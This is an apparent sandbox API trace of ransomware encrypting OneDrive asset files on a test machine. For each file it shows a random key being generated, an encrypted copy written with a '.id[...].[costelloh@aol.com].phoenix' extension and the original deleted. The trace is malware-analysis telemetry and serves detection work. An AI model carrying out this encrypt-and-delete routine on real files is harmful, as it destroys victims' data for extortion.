	[0267.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0267.802] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.802] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.802] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.802] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.802] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.802] CloseHandle (hObject=0x2c0) returned 1
	[0267.802] CloseHandle (hObject=0x2e4) returned 1
	[0267.802] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AutoPlayOptIn.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\autoplayoptin.png")) returned 1
	[0267.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.854] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappblue.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.855] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=7383) returned 1
	[0267.855] CloseHandle (hObject=0x240) returned 1
	[0267.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappblue.png")) returned 0x20
	[0267.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.855] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.855] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.855] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.855] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppBlue.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappblue.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.858] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0267.858] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.858] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1cd7, lpOverlapped=0x0) returned 1
	[0267.859] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1ce0) returned 1
	[0267.859] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1ce0, lpOverlapped=0x0) returned 1
	[0267.860] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0267.860] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.860] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.860] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.860] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.860] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.860] CloseHandle (hObject=0x240) returned 1
	[0267.860] CloseHandle (hObject=0x2c4) returned 1
	[0267.860] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppBlue.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappblue.png")) returned 1
	[0267.866] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappwhite.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.866] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5068) returned 1
	[0267.866] CloseHandle (hObject=0x2c4) returned 1
	[0267.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappwhite.png")) returned 0x20
	[0267.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.867] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.867] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.867] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0267.867] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.867] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x13cc, lpOverlapped=0x0) returned 1
	[0267.870] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x13d0) returned 1
	[0267.870] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x13d0, lpOverlapped=0x0) returned 1
	[0267.871] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0267.871] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.871] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.871] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.871] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.871] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.871] CloseHandle (hObject=0x2c4) returned 1
	[0267.871] CloseHandle (hObject=0x240) returned 1
	[0267.872] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\ElevatedAppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\elevatedappwhite.png")) returned 1
	[0267.873] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Error.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\error.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.873] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=7780) returned 1
	[0267.873] CloseHandle (hObject=0x240) returned 1
	[0267.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Error.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\error.png")) returned 0x20
	[0267.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Error.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\error.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Error.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\error.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.873] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.873] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Error.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\error.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.874] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0267.874] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.874] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1e64, lpOverlapped=0x0) returned 1
	[0267.900] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1e70, dwBufLen=0x1e70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1e70) returned 1
	[0267.900] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1e70, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1e70, lpOverlapped=0x0) returned 1
	[0267.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0267.904] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.904] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0267.904] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.904] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0267.904] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.904] CloseHandle (hObject=0x240) returned 1
	[0267.904] CloseHandle (hObject=0x2c4) returned 1
	[0267.904] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\Error.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\error.png")) returned 1
	[0267.905] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\iceBucket.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\icebucket.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.906] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5934) returned 1
	[0267.906] CloseHandle (hObject=0x2c4) returned 1
	[0267.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\iceBucket.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\icebucket.svg")) returned 0x20
	[0267.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\iceBucket.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\icebucket.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\iceBucket.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\icebucket.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.907] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.907] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\iceBucket.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\icebucket.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.907] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0267.907] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.907] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x172e, lpOverlapped=0x0) returned 1
	[0267.931] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1730, dwBufLen=0x1730 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1730) returned 1
	[0267.931] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1730, lpOverlapped=0x0) returned 1
	[0267.932] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0267.932] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.932] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0267.932] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.932] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0267.933] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.933] CloseHandle (hObject=0x2c4) returned 1
	[0267.933] CloseHandle (hObject=0x240) returned 1
	[0267.933] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\iceBucket.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\icebucket.svg")) returned 1
	[0267.934] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0267.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\partiallyFreezing.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\partiallyfreezing.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.944] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4407) returned 1
	[0267.944] CloseHandle (hObject=0x2b0) returned 1
	[0267.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\partiallyFreezing.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\partiallyfreezing.svg")) returned 0x20
	[0267.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\partiallyFreezing.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\partiallyfreezing.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.944] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\partiallyFreezing.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\partiallyfreezing.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.944] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.944] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0267.944] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\partiallyFreezing.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\partiallyfreezing.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.947] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0267.947] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.947] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1137, lpOverlapped=0x0) returned 1
	[0267.985] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1140, dwBufLen=0x1140 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1140) returned 1
	[0267.985] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1140, lpOverlapped=0x0) returned 1
	[0267.985] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0267.985] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0267.985] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0267.985] CryptDestroyKey (hKey=0x151140) returned 1
	[0267.985] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0267.986] CryptDestroyKey (hKey=0x151380) returned 1
